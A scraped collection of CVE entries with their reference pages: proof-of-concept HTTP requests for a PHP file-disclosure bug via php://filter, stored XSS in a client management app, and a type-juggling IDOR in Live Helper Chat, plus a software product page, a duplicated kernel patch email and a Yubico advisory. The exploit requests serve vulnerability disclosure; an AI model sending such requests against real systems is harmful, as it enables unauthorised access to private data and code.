An unrestricted file upload at /public/admin/index.php?add_product of Ecommerce-Website v1.1.0 allows attackers to upload a webshell via the Product Image component.

CVE-2022-27435: GitHub - D4rkP0w4r/Full-Ecommece-Website-Add_Product-Unrestricted-File-Upload-RCE-POC

Simple Bakery Shop Management System v1.0 contains a file disclosure via /bsms/?page=products.

Permalink

**Simple Bakery Shop Management System File Disclosure**

*   `Note` => login to admin

**Exploit**

*   Exploit with Burp Suite

http://192.168.1.101:8080/bsms/?page\=products

![image](https://user-images.githubusercontent.com/79050415/160247964-7c8adf9f-fb75-4754-a47d-0b6a31c553a1.png)

*   Use Burp Suite capture request and payload => `Send` ![image](https://user-images.githubusercontent.com/79050415/160248025-19c24820-79ae-4522-93dc-f06f3ce3ca90.png)
*   Then decode `Base64`

PD9waHANCg0KQ2xhc3MgREJDb25uZWN0aW9uew0KICAgIHByb3RlY3RlZCAkZGI7DQogICAgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKXsNCiAgICAgICAgJHRoaXMtPmRiPSBuZXcgbXlzcWxpKCdsb2NhbGhvc3QnLCdyb290JywnJywnYnNtc19kYicpOw0KICAgICAgICBpZighJHRoaXMtPmRiKXsNCiAgICAgICAgICAgIGRpZSgnRGF0YWJhc2UgQ29ubmVjdGlvbiBGYWlsZXMuIEVycm9yOiAnLiR0aGlzLT5kYi0+ZXJyb3IpOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgZnVuY3Rpb24gZGJfY29ubmVjdCgpew0KICAgICAgICByZXR1cm4gJHRoaXMtPmRiOw0KICAgIH0NCiAgICBmdW5jdGlvbiBfX2Rlc3RydWN0KCl7DQogICAgICAgICAkdGhpcy0+ZGItPmNsb3NlKCk7DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBmb3JtYXRfbnVtKCRudW1iZXIgPSAnJywkZGVjaW1hbD0nJyl7DQogICAgaWYoaXNfbnVtZXJpYygkbnVtYmVyKSl7DQogICAgICAgICRleCA9IGV4cGxvZGUoIi4iLCRudW1iZXIpOw0KICAgICAgICAkZGVjX2xlbiA9IGlzc2V0KCRleFsxXSkgPyBzdHJsZW4oJGV4WzFdKSA6IDA7DQogICAgICAgIGlmKCFlbXB0eSgkZGVjaW1hbCkgfHwgaXNfbnVtZXJpYygkZGVjaW1hbCkpew0KICAgICAgICAgICAgcmV0dXJuIG51bWJlcl9mb3JtYXQoJG51bWJlciwkZGVjaW1hbCk7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgcmV0dXJuIG51bWJlcl9mb3JtYXQoJG51bWJlciwkZGVjX2xlbik7DQogICAgICAgIH0NCiAgICB9ZWxzZXsNCiAgICAgICAgcmV0dXJuICdJbnZhbGlkIGlucHV0Lic7DQogICAgfQ0KfQ0KDQokZGIgPSBuZXcgREJDb25uZWN0aW9uKCk7DQokY29ubiA9ICRkYi0+ZGJfY29ubmVjdCgpOw\==

![image](https://user-images.githubusercontent.com/79050415/160248053-c84ba212-195d-42f3-8bca-bf84c485f810.png)

**Vulnerable Code**

![image](https://user-images.githubusercontent.com/79050415/160248200-f24761ec-5dbb-4f04-94ae-b251b4127dbf.png)

*   `Request`

GET /bsms/?page\=php://filter/convert.base64\-encode/resource\=DBConnection HTTP/1.1
Host: 192.168.1.101:8080
Cache\-Control: max\-age\=0
Upgrade\-Insecure\-Requests: 1
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q\=0.8,application/signed\-exchange;v\=b3;q\=0.9
Referer: http://192.168.1.101:8080/bsms/
Accept\-Encoding: gzip, deflate
Accept\-Language: en\-US,en;q\=0.9
Cookie: PHPSESSID\=0722dtqnb1dgvuono8uubajcae
Connection: close

CVE-2022-28063: CVEs/POC.md at main · D4rkP0w4r/CVEs

Car Rental System v1.0 contains an arbitrary file upload vulnerability via the Add Car component which allows attackers to upload a webshell and execute arbitrary code.

CVE-2022-28062: CVEs/POC.md at main · D4rkP0w4r/CVEs

Multiple Cross Site Scripting (XSS) vulnerabilities exist in Ssourcecodester Simple Client Management System v1 via (1) Add new Client and (2) Add new invoice.

\# Exploit Title: Simple Client Management System 1.0 - 'multiple' Stored Cross-Site Scripting (XSS) # Exploit Author: Sentinal920 # Date: 5-11-2021 (5th Nov 2021) # Category: Web application # Vendor Homepage: https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/cms.zip # Version: 1.0 # Tested on: Kali Linux # Vulnerable page: client,invoice # Vulnerable Parameters: "lastname", "remarks" Technical description: A stored XSS vulnerability exists in the Simple Client Management System. An attacker can leverage this vulnerability in order to run javascript on the web server surfers behalf, which can lead to cookie stealing, defacement and more. Steps to exploit: 1) Navigate to http://localhost/cms/admin/?page=client 2) Click on add new client 3) Insert your payload in the "lastname" parameter or the "description" parameter 4) Click save Proof of concept (Poc): The following payload will allow you to run the javascript - 1) XSS POC in Add New Client POST /cms/classes/Master.php?f=save\_client HTTP/1.1 Host: localhost Content-Length: 1026 sec-ch-ua: "Chromium";v="93", " Not;A Brand";v="99" Accept: application/json, text/javascript, \*/\*; q=0.01 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIBW1SfSFiXMKK7Nt X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/cms/admin/?page=client/manage\_client Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=g1copl50hh7e2c8m1kenc0vikn Connection: close ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt Content-Disposition: form-data; name="lastname" ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt Content-Disposition: form-data; name="firstname" anything ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt Content-Disposition: form-data; name="middlename" anything ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt Content-Disposition: form-data; name="gender" Male ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt Content-Disposition: form-data; name="dob" 2021-11-03 ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt Content-Disposition: form-data; name="contact" xxxxxxxxxx ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt Content-Disposition: form-data; name="address" xxxxxx ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt Content-Disposition: form-data; name="email" xxxx@xxx.com ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt Content-Disposition: form-data; name="avatar"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryIBW1SfSFiXMKK7Nt-- 2) XSS POC in Add New Invoice POST /cms/classes/Master.php?f=save\_invoice HTTP/1.1 Host: localhost Content-Length: 1032 sec-ch-ua: "Chromium";v="93", " Not;A Brand";v="99" Accept: application/json, text/javascript, \*/\*; q=0.01 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEk0iOWhhoA0lApXo X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/cms/admin/?page=invoice/manage\_invoice Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=g1copl50hh7e2c8m1kenc0vikn Connection: close ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="id" ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="client\_id" 1 ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="service\_id\[\]" 1 ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="price\[\]" 250 ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="discount\_perc" 0 ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="discount" 0 ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="tax\_perc" 0 ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="tax" 0 ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="total\_amount" 250 ------WebKitFormBoundaryEk0iOWhhoA0lApXo Content-Disposition: form-data; name="remarks" ------WebKitFormBoundaryEk0iOWhhoA0lApXo--

CVE-2021-43505

Loose comparison causes IDOR on multiple endpoints in GitHub repository livehelperchat/livehelperchat prior to 3.96.

**Description**

Live Helper Chat is vulnerable to Type Juggling on the `requestPayload['hash']`. The application uses a Loose Comparison to check if the user-controlled parameter is equal to an hash, this check is vulnerable because it's possible to pass other Data Types via JSON that causes the `if` condition to be `True`. This occurs on multiple endpoints.

**Proof of Concept**

For the PoC, the vulnerability resides on https://github.com/LiveHelperChat/livehelperchat/blob/master/lhc\_web/modules/lhwidgetrestapi/fetchmessage.php#L19

        if ($chat instanceof erLhcoreClassModelChat && $chat->hash == $requestPayload['hash'])
    

1.  **Request**

    POST /eng/widgetrestapi/fetchmessages HTTP/1.1
    Host: demo.livehelperchat.com
    Cookie: lhc_vid=eb9bc0c044919538c5b1
    Content-Length: 62
    Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="99"
    Accept: application/json, text/plain, */*
    Content-Type: application/x-www-form-urlencoded
    Sec-Ch-Ua-Mobile: ?0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
    Sec-Ch-Ua-Platform: "macOS"
    Origin: https://demo.livehelperchat.com
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: https://demo.livehelperchat.com/
    Accept-Encoding: gzip, deflate
    Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
    Connection: close
    
    {"chat_id":2,"hash":true,"lmgsid":1,"theme":1,"new_chat":true}
    

Note the `"hash":true`, this will make the `if` always return `True`.

The loose comparison can be solved by using a type safe check `===` or updating PHP to `8 <=`.

I've attached more occurrences of the same vulnerability: modules/lhwidgetrestapi/fetchmessage.php modules/lhwidgetrestapi/fetchmessages.php modules/lhwidgetrestapi/getmessagesnippet.php modules/lhwidgetrestapi/initchat.php modules/lhwidgetrestapi/uisettings.php

**Impact**

It's possible to bypass multiple checks. An attacker could access private information of other users.

**Occurrences**

CVE-2022-1176: Loose comparison causes IDOR on multiple endpoints in livehelperchat

Untrusted search path vulnerability in AttacheCase ver.3.6.1.0 and earlier allows an attacker to gain privileges and execute arbitrary code via a Trojan horse DLL in an unspecified directory.

![AttachéCase icon](https://hibara.org/software/attachecase/img/main_icon_128x128.png)

**AttachéCase ( Current Version )****Windows10, 11 / macOS**

![Windows 10 logo](https://hibara.org/software/attachecase/img/Windows_10_Logo.svg) **\- Update**   \* NET Framework 4.6 later

![Apple logo](https://hibara.org/software/attachecase/img/apple-logo.svg) **\-**   \* macOS 10.14 (macOS Mojave) later

> "AttachéCase4" is a powerful file/folder encryption software that uses the world's standard encryption algorithm, while focusing on simplicity and ease of use for daily use.

> **Important Notice（2022/03/30）**
> 
> A vulnerability in loading DLL was discovered in "AttacheCase4" for Windows. Placing a maliciously modified "dwmapi.dll" in the directory containing the executable file (AttacheCase.exe) may allow arbitrary code to be executed.
> 
> This vulnerability have been confirmed in **ver. 4.0.2.7 or earlier**. If you are using these versions of "AttacheCase4", please update to the latest version as soon as possible.
> 
> More information on this vulnerability can be found at the following page.  
> https://hibara.org/software/attachecase/vulnerability/
> 
> JVN#10140834  
> **AttacheCase may insecurely load Dynamic Link Libraries**  
> https://jvn.jp/jp/JVN10140834/
> 
> By countermeasuring of this vulnerability, the previous vulnerability in the older version of the " AttacheCase#3 " is also fixed.
> 
> If you are using this version, please update to the latest version as soon as possible.

![Main Window](https://hibara.org/software/attachecase/img/main_window_en.png)

スポンサー・リンク

**Introduction**

**Encryption is just three steps**

Encryption is just three steps. You can easily encrypt files by simply dragging and dropping them, or if you drag and drop the entire folder, it will create one encrypted file (pack the entire folder).

![ファイルの暗号化はわずか３ステップ](https://hibara.org/software/attachecase/img/3-steps-horizontal_en.png)

In addition, the data will be compressed during the encryption process, making it compact in size.

Decrypting is also as easy as dragging and dropping, or double-clicking and entering the password to restore the original files and folders.

**Output in self-executable format**

The encrypted file can also be output as an executable (\*.exe) file, so it can be passed to someone who does not have an AttachéCase and can be decrypted.

![Output in self-executable format](https://hibara.org/software/attachecase/img/exeout_en.png)

The Mac version cannot output in self-executable format, but it can decrypt executable files (\*.exe) generated by the Windows version.

**Supports both Windows and macOS**

Enables data exchange on Windows and macOS.

![AttcheCase for Mac](https://hibara.org/software/attachecase/img/attachecase_mac.png)

At present, the macOS version is inferior to the Windows version in terms of functionality, but as described in the roadmap below, I plan to start supporting both versions in earnest from around .NET6.

**Public key cryptography**

From ver.4, public key cryptography (RSA) is also supported. By exchanging public and private keys, it is no longer necessary to exchange ZIP passwords, making it possible to exchange data more securely.

![Sending the public key](https://hibara.org/software/attachecase/img/public_key_en.png)

![Decrypting with a private key](https://hibara.org/software/attachecase/img/private_key_en.png)

![RSA Cryption](https://hibara.org/software/attachecase/img/rsa_crypt_en.png)

**Cryptographic algorithms are global standards**

The encryption algorithm is based on the Advanced Encryption Standard (AES), the next-generation encryption standard chosen by the U.S. Government's National Institute of Standards and Technology (NIST) in October 2000. Also, the encryption mode used is CBC mode.

![CBC暗号化モード](https://hibara.org/software/attachecase/img/cbc-mode_en.png)

**Key derivation according to RFC2898**

![Key derivation according to RFC2898](https://hibara.org/software/attachecase/img/rfc2898derive_bytes_en.png)

Based on "PKCS #5: Password-Based Cryptography Specification Version 2.0" by RFC2898, the derived key and initialization vector after 1,000 iterations of password-based key derivation mixed with random numbers as salt are output one after another, and each is used as the key and initialization vector for encryption.

**New data format (Current version)**

Starting from ver.4, a new data format has been introduced, which enables more efficient encryption and decryption based on the know-how accumulated in the development up to ver.3. Note that ver.4 can decrypt data of ver.3 and 2, but ver.3 and 2 cannot decrypt data of ver.4. For details on data formats, please refer to " here ".

The old version is below.

**Development Roadmap**

A macOS version is also available, but it has limited functionality compared to the Windows version. .NET library used in application will be upgraded in the future, making it a cross-platform application completely that supports both Windows and macOS. Specifically, I will do this over the period from Nov 2021 onward.

Due to the delay in development by Microsoft, it is likely that full cross-platform with Windows and macOS will not be available until the second quarter of 2022 or later . Depending on the development status, it may be possible to release it as a beta version before the end of this year, but the schedule is uncertain.

![Development Roadmap](https://hibara.org/software/attachecase/img/roadmap_en.png)

After that, we will support .NET7, .NET8 according to the latest libraries released by Microsoft.

**Starting from ver.4, commercial use will be charged.**

**Windows**

I also set the "trial period" as one month, but there is no limit to how long you can continue using the app.

The price is **550 yen (tax included) per 1 user**.

Note that

*   For home and personal use
*   Students and educational institutions

can use it free of charge as a free license version.

You have free personal use, but if you would like to support us in the form of "support" or "donation", you are welcome to pay so. In that case, you will be issued a registration code, just like a commercial user.

As a result, support for the previous ver. 3 and 2 will be discontinued (Complete termination by April 2022). However, the previous versions will continue to be available free of charge for both personal and commercial use.

**macOS**

As for the macOS version, anyone (regardless of personal or commercial use) can use it free of charge.

However, that is only for downloads from this website, and any future downloads handled by the App Store will be paid for (whether for personal or commercial use).

The reason why downloads from this website, including the macOS version, are free of charge, while downloads from the App Store are paid for, is explained in the next section.

**Why commercial use is now paid for?**

There are many reasons for this, including the cost of managing and maintaining websites, the cost of continuing software development, especially the cost of "code signing certificates" that are added to executable files to prove that they are safe on Windows and can be installed without warning messages, and, for macOS, the Apple Developer registration fee etc. has become very difficult to cover with the decrease in advertising revenue.

I get a lot of emails about bugs and complaints, but other than that, I don't know what kind of people are using it, and to be honest, I'm loss of motivation.

The source code is released under the GPLv3 license (the macOS version is not open to the public), so there are no restrictions on using it as a stray build. You will only be charged for downloading the software from this official website or the App Store (\* Currently under review). In other words, please think of it as the cost of the distributed product, including development and maintenance costs, code signing certificate fees, etc.

スポンサー・リンク

**Download**

**Ver.4**

![Windows10 logo](https://hibara.org/software/attachecase/img/Windows_10_Logo.svg)

\* Windows10, 11 / NET Framework 4.6 later

![Apple logo](https://hibara.org/software/attachecase/img/apple-logo.svg)

\* macOS 10.14 (macOS Mojave) later

![App Store button](https://hibara.org/software/attachecase/img/Download_on_the_Mac_App_Store_Badge_US-UK_RGB_blk_092917.svg)

**Hash value**

*   
*   
*   

MD5:  
SHA-1:  
SHA-256:  

MD5:  
SHA-1:  
SHA-256:  

MD5:  
SHA-1:  
SHA-256:  

**Update history for Windows version**

**Update history for macOS version**

**Old Ver.3**

> **Important Notice（2022/03/30）**
> 
> A previously reported vulnerability allows "AttacheCase#3" to be DLL hijacked (DLL preloaded) by placing certain DLL files in the location where the output self-extracting archive file and the main body "AttacheCase.exe" are located.
> 
> Please update to the latest version "AttacheCase#3" as soon as possible.
> 
> JVN#61502349  
> **Self-Extracting Encrypted Files created by AttacheCase may insecurely load Dynamic Link Libraries**  
> https://jvn.jp/en/jp/JVN61502349/  

![Windows10 logo](https://hibara.org/software/attachecase/img/Windows_10_Logo.svg)

\* Windows XP/Vista/7/8/10 / NET Framework 4.0 later

*   Although support for this software has been discontinued by Microsoft, it also will work on Windows XP.
*   .NET Framework 4 or higher is required for operation.

**Hash value**

*   
*   

**Update history**

**Old Ver.2**

![WindowsXP logo](https://hibara.org/software/attachecase/img/windows_xp.svg)

\* Windows 95, 98, XP

**Hash value**

*   
*   

**Open source license**

**GPLv3 license**

> Copyright (C) 2020 M.Hibara
> 
> This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
> 
> This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
> 
> You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>.

**Source code**

**hibara - GitHub**

It has been built and tested with Microsoft Visual Studio 2019. It includes everything you need to build, including resource files. You are welcome to report bugs and requests to Issue, pull requests, forks, etc.

The MacOS version is not open source due to Apple's terms and conditions. However, the classes required for encryption and decryption (specifically, Encrypt4.cs and Decrypt4.cs) are the same.

![GitHubロゴ](https://hibara.org/software/attachecase/img/github-octcat.png)

**Data specification**

Starting from ver.4, the cryptographic algorithm has been changed to AES 256bit CBC mode for ease of porting. I keep that .NET is moving in the direction of cutting off Rijindael 256 support for in the future in mind.

In addition, I used to use SHA-1 for checksums, which is a heavy load. MD5 is now sufficient for this purpose.

The file information stored in the data is now stored serially as binary data instead of character strings. For details, please see the following PDF file.

Download data specification

To learn more about the data structure, including previous versions (ver.3 and 2), please download the PDF data above and check it out.

**オンラインヘルプ**

**Support**

For inquiries (support), please contact us by e-mail. Please contact us at the following address

> Mitsuhiro Hibara

If you would like to report a problem, please specify your OS version (Windows, macOS, and its version), the version of the AttachéCase you are using, and describe a situation that I can reproduce. If I can't reproduce the problem, I can't fix it.

If possible, please attach reproducible files and passwords (dummy data and dummy passwords are fine) so that I can make revisions smoothly.

> **Improvements, bug reports, and pull requests from GitHub are most welcome!**
> 
> If possible, please use the GitHub repository instead of your email address, and send improvements and bug reports to Issues , or Pull Requests if you can fix the code directly.

CVE-2022-28128: File encryption software for both Windows and macOS

An integer overflow flaw was found in the Linux kernel’s virtio device driver code in the way a user triggers the vhost_vdpa_config_validate function. This flaw allows a local user to crash or potentially escalate their privileges on the system.

From: Sasha Levin <sashal@kernel.org>
To: linux-kernel@vger.kernel.org, stable@vger.kernel.org
Cc: Laura Abbott <labbott@kernel.org>,
	Luo Likang <luolikang@nsfocus.com>,
	"Michael S . Tsirkin" <mst@redhat.com>,
	Sasha Levin <sashal@kernel.org>,
	jasowang@redhat.com, kvm@vger.kernel.org,
	virtualization@lists.linux-foundation.org,
	netdev@vger.kernel.org
Subject: \[PATCH AUTOSEL 5.15 13/16\] vdpa: clean up get\_config\_size ret value handling
Date: Sat, 22 Jan 2022 19:12:12 -0500	\[thread overview\]
Message-ID: <20220123001216.2460383-13-sashal@kernel.org> (raw)
In-Reply-To: <20220123001216.2460383-1-sashal@kernel.org\>

From: Laura Abbott <labbott@kernel.org>

\[ Upstream commit 870aaff92e959e29d40f9cfdb5ed06ba2fc2dae0 \]

The return type of get\_config\_size is size\_t so it makes
sense to change the type of the variable holding its result.

That said, this already got taken care of (differently, and arguably
not as well) by commit 3ed21c1451a1 ("vdpa: check that offsets are
within bounds").

The added 'c->off > size' test in that commit will be done as an
unsigned comparison on 32-bit (safe due to not being signed).

On a 64-bit platform, it will be done as a signed comparison, but in
that case the comparison will be done in 64-bit, and 'c->off' being an
u32 it will be valid thanks to the extended range (ie both values will
be positive in 64 bits).

So this was a real bug, but it was already addressed and marked for stable.

Signed-off-by: Laura Abbott <labbott@kernel.org>
Reported-by: Luo Likang <luolikang@nsfocus.com>
Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
 drivers/vhost/vdpa.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/vhost/vdpa.c b/drivers/vhost/vdpa.c
index d62f05d056b7b..913cd465f9f1e 100644
--- a/drivers/vhost/vdpa.c
+++ b/drivers/vhost/vdpa.c
@@ -195,7 +195,7 @@ static int vhost\_vdpa\_config\_validate(struct vhost\_vdpa \*v,
 				      struct vhost\_vdpa\_config \*c)
 {
 	struct vdpa\_device \*vdpa = v->vdpa;
\-	long size = vdpa->config->get\_config\_size(vdpa);
+	size\_t size = vdpa->config->get\_config\_size(vdpa);
 
 	if (c->len == 0 || c->off > size)
 		return -EINVAL;
-- 
2.34.1

next prev parent reply	other threads:\[~2022-01-23  0:14 UTC|newest\]

**Thread overview:** 6+ messages / expand\[flat|nested\]  mbox.gz  Atom feed  top
     \[not found\] <20220123001216.2460383-1-sashal@kernel.org\>
2022-01-23  0:12 \` \[PATCH AUTOSEL 5.15 07/16\] sit: allow encapsulated IPv6 traffic to be delivered locally Sasha Levin
2022-01-23  0:12 \` \[PATCH AUTOSEL 5.15 09/16\] net: apple: mace: Fix build since dev\_addr constification Sasha Levin
2022-01-23  0:12 \` \[PATCH AUTOSEL 5.15 10/16\] net: apple: bmac: " Sasha Levin
2022-01-23  0:12 \` \[PATCH AUTOSEL 5.15 12/16\] vhost/test: fix memory leak of vhost virtqueues Sasha Levin
**2022-01-23  0:12 \` Sasha Levin \[this message\]**
2022-04-02  3:57   \` \[PATCH AUTOSEL 5.15 13/16\] vdpa: clean up get\_config\_size ret value handling Dan Carpenter

**Reply instructions:**

You may reply publicly to this message via plain-text email
using any one of the following methods:

\* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting\_style#Interleaved\_style

\* Reply using the **\--to**, **\--cc**, and **\--in-reply-to**
  switches of git-send-email(1):

  git send-email \\
    --in-reply-to=20220123001216.2460383-13-sashal@kernel.org \\
    --to=sashal@kernel.org \\
    --cc=jasowang@redhat.com \\
    --cc=kvm@vger.kernel.org \\
    --cc=labbott@kernel.org \\
    --cc=linux-kernel@vger.kernel.org \\
    --cc=luolikang@nsfocus.com \\
    --cc=mst@redhat.com \\
    --cc=netdev@vger.kernel.org \\
    --cc=stable@vger.kernel.org \\
    --cc=virtualization@lists.linux-foundation.org \\
    /path/to/YOUR\_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

\* If your mail client supports setting the **In-Reply-To** header
  via mailto: links, try the mailto: link

Be sure your reply has a **Subject:** header at the top and a blank line before the message body.

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).

CVE-2022-0998: [PATCH AUTOSEL 5.15 13/16] vdpa: clean up get_config_size ret value handling

From: Sasha Levin <sashal@kernel.org>
To: linux-kernel@vger.kernel.org, stable@vger.kernel.org
Cc: Laura Abbott <labbott@kernel.org>,
	Luo Likang <luolikang@nsfocus.com>,
	"Michael S . Tsirkin" <mst@redhat.com>,
	Sasha Levin <sashal@kernel.org>,
	jasowang@redhat.com, kvm@vger.kernel.org,
	virtualization@lists.linux-foundation.org,
	netdev@vger.kernel.org
Subject: \[PATCH AUTOSEL 5.15 13/16\] vdpa: clean up get\_config\_size ret value handling
Date: Sat, 22 Jan 2022 19:12:12 -0500	\[thread overview\]
Message-ID: <20220123001216.2460383-13-sashal@kernel.org> (raw)
In-Reply-To: <20220123001216.2460383-1-sashal@kernel.org\>

From: Laura Abbott <labbott@kernel.org>

\[ Upstream commit 870aaff92e959e29d40f9cfdb5ed06ba2fc2dae0 \]

The return type of get\_config\_size is size\_t so it makes
sense to change the type of the variable holding its result.

That said, this already got taken care of (differently, and arguably
not as well) by commit 3ed21c1451a1 ("vdpa: check that offsets are
within bounds").

The added 'c->off > size' test in that commit will be done as an
unsigned comparison on 32-bit (safe due to not being signed).

On a 64-bit platform, it will be done as a signed comparison, but in
that case the comparison will be done in 64-bit, and 'c->off' being an
u32 it will be valid thanks to the extended range (ie both values will
be positive in 64 bits).

So this was a real bug, but it was already addressed and marked for stable.

Signed-off-by: Laura Abbott <labbott@kernel.org>
Reported-by: Luo Likang <luolikang@nsfocus.com>
Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
 drivers/vhost/vdpa.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/vhost/vdpa.c b/drivers/vhost/vdpa.c
index d62f05d056b7b..913cd465f9f1e 100644
--- a/drivers/vhost/vdpa.c
+++ b/drivers/vhost/vdpa.c
@@ -195,7 +195,7 @@ static int vhost\_vdpa\_config\_validate(struct vhost\_vdpa \*v,
 				      struct vhost\_vdpa\_config \*c)
 {
 	struct vdpa\_device \*vdpa = v->vdpa;
\-	long size = vdpa->config->get\_config\_size(vdpa);
+	size\_t size = vdpa->config->get\_config\_size(vdpa);
 
 	if (c->len == 0 || c->off > size)
 		return -EINVAL;
-- 
2.34.1

     prev parent reply	other threads:\[~2022-01-23  0:14 UTC|newest\]

**Thread overview:** 5+ messages / expand\[flat|nested\]  mbox.gz  Atom feed  top
     \[not found\] <20220123001216.2460383-1-sashal@kernel.org\>
2022-01-23  0:12 \` \[PATCH AUTOSEL 5.15 07/16\] sit: allow encapsulated IPv6 traffic to be delivered locally Sasha Levin
2022-01-23  0:12 \` \[PATCH AUTOSEL 5.15 09/16\] net: apple: mace: Fix build since dev\_addr constification Sasha Levin
2022-01-23  0:12 \` \[PATCH AUTOSEL 5.15 10/16\] net: apple: bmac: " Sasha Levin
2022-01-23  0:12 \` \[PATCH AUTOSEL 5.15 12/16\] vhost/test: fix memory leak of vhost virtqueues Sasha Levin
**2022-01-23  0:12 \` Sasha Levin \[this message\]**

**Reply instructions:**

You may reply publicly to this message via plain-text email
using any one of the following methods:

\* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting\_style#Interleaved\_style

\* Reply using the **\--to**, **\--cc**, and **\--in-reply-to**
  switches of git-send-email(1):

  git send-email \\
    --in-reply-to=20220123001216.2460383-13-sashal@kernel.org \\
    --to=sashal@kernel.org \\
    --cc=jasowang@redhat.com \\
    --cc=kvm@vger.kernel.org \\
    --cc=labbott@kernel.org \\
    --cc=linux-kernel@vger.kernel.org \\
    --cc=luolikang@nsfocus.com \\
    --cc=mst@redhat.com \\
    --cc=netdev@vger.kernel.org \\
    --cc=stable@vger.kernel.org \\
    --cc=virtualization@lists.linux-foundation.org \\
    --subject='Re: \[PATCH AUTOSEL 5.15 13/16\] vdpa: clean up get\_config\_size ret value handling' \\
    /path/to/YOUR\_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

\* If your mail client supports setting the **In-Reply-To** header
  via mailto: links, try the mailto: link

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).

Yubico ykneo-openpgp before 1.0.10 has a typo in which an invalid PIN can be used. When first powered up, a signature will be issued even though the PIN has not been validated.

*   Github

Tracking IDs: YSA-2015-1 and CVE-2015-3298.

**Summary**

The source code contains a logical flaw related to user PIN (aka PW1) verification that allows an attacker with local host privileges and/or physical proximity (NFC) to perform security operations without knowledge of the user’s PIN code.

**Mitigation**

The flaw is mitigated by the fact that an attacker would typically require some abilities that would enable the attack even without the logical flaw.

In particular, any attacker with access to the local host must be assumed to be able to learn the user’s PIN code, simply by intercepting communication with the OpenPGP card hardware or through key logging.

Alternatively, if the attacker has physical proximity to the card, it could wait for the device to be used normally over NFC and then learn the PIN code wirelessly and perform the attack at a later point.

If your device is stolen, attackers may use it to perform private-key operations. If an attacker has gone through the trouble of obtaining physical access to a key, the conservative approach is to regard it is possible that the attacker were able to learn the PIN earlier since the PIN is often unprotected. In situations like this, you should treat the key as potentially compromised and revoke the key.

Generally the OpenPGP Card specification does not protect against private key-usage by malware and/or PIN phishing, and any OpenPGP Card implementation is vulnerable to similar attacks.

